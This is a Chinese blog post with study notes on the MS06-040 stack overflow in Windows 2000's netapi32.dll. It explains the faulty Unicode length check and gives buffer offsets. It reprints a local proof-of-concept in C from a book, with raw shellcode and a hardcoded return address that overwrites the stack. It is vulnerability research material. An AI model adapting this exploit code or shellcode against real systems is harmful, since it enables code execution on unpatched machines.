ms06040粗糙分析(一)

0x01 前言

学习二进制漏洞,必须要学习下ms06040,这个漏洞古老,但不影响我们研究学习的目的,此漏洞是NETAPI32.DLL动态链接库里的一个导出函数NetpwPathCanonicalize()存在栈溢出,而且这个函数能够通过RPC远程调用。

0x02 产生漏洞原因

netapi32.dll中的导出函数NetpwPathCanonicalize中的子函数在拼接字符串时候错误的计算了unicode长度,导致了栈溢出。举个粗糙的例子

char prefix[400];

char path[400];

我们知道prefix变量是400个字节,可子函数在检测的时候是以unicode方式来检测的,所以长度就变成了200,但是在系统内部却以400来判断,导致了我们实际可以覆盖2倍的长度

最终子函数 会以 prefix + \ +path 形式来拼接,下面我们静态分析一下

0x03 静态分析

window2000下的netapi32.dll栈溢出分析

取样文件采自windows 2000版本sp0的netapi32.dll

打开IDA加载文件。

首先开辟了一个0x414的空间,然后用wcslen函数来检测了prefix变量的长度。

说通俗点,我们进去200个字节,他检测出来100个,进去3000个,他检测出来150,原比他自己的0x414小的多。所以第一步通过。

然后这边衔接一个005C(“\”)

最终同理,在检测path参数的时候和prefix一样。

实际上,prefix变量在之前已经就被NetpwPathType()函数检测过,长度不能超过0x206字节。

0x04 本地poc

最终通过OD分析(此过程略过),最终分析结果如下

prefix和”\”会占用0x100个字节

path 填充0x318后覆盖返回地址

贴出0day2书籍中的poc

#include <windows.h>
typedef void (*MYPROC)(LPTSTR);
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{   
    char path[0x320];
    char can_path[0x440];
    int maxbuf=0x440;
    char prefix[0x100];
    long pathtype=44;   
    HINSTANCE LibHandle;
    MYPROC Trigger;
    char dll[] = "./netapi32.dll"; // care for the path 
    char VulFunc[] = "NetpwPathCanonicalize";
    LibHandle = LoadLibrary(dll);
    Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);
    memset(path,0,sizeof(path));
    memset(path,0x90,sizeof(path)-2);
    memset(prefix,0,sizeof(prefix));
    memset(prefix,'a',sizeof(prefix)-2);
    memcpy(prefix,shellcode,168);
    path[0x318]=0xF9;// address of CALL ECX
    path[0x319]=0x52;
    path[0x31A]=0x18;
    path[0x31B]=0x75;
    (Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
    FreeLibrary(LibHandle);
}

0x05 后记

windows2000和windowsxp的分析不同,在这里做一下笔记。给脑袋腾个地方占硬盘

发表评论

电子邮件地址不会被公开。 必填项已用*标注